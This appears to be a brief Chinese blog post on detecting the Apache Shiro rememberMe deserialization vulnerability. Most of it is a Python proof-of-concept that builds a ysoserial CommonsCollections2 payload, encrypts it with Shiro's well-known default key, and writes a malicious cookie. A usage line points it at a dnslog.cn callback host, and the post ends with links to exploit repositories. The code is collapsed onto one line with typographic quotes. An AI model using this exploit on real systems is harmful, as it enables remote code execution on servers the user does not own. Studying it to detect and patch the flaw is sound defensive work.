Shiro反序列化漏洞检测、dnslog
信息收集
poc
# pip install pycrypto import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.6-SNAPSHOT-BETA-all.jar‘, ‘CommonsCollections2‘, command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == ‘__main__‘: payload = encode_rememberme(sys.argv[1]) with open("/tmp/payload.cookie", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)
python shiro_poc.py "sfvpil.dnslog.cn"
/tmp/payload.cookie
替换发包的rememberMe=X
参考
https://github.com/insightglacier/Shiro_exploit
https://github.com/Medicean/VulApps/tree/master/s/shiro/
https://www.cnblogs.com/paperpen/p/11312671.html
相关推荐
xclxcl 2020-08-03
zmzmmf 2020-08-03
visionzheng 2020-05-04
chenjia00 2020-03-23
visionzheng 2020-06-07
杜鲁门 2020-11-05
luckyxl0 2020-08-16
Dullonjiang 2020-08-09
MicroBoy 2020-08-02
ganjing 2020-08-02
likesyour 2020-08-01
zmzmmf 2020-07-09
MicroBoy 2020-07-05
zzhao 2020-06-26
子云 2020-06-18
neweastsun 2020-06-04
ErixHao 2020-06-03
GDreams0 2020-06-01
ganjing 2020-05-29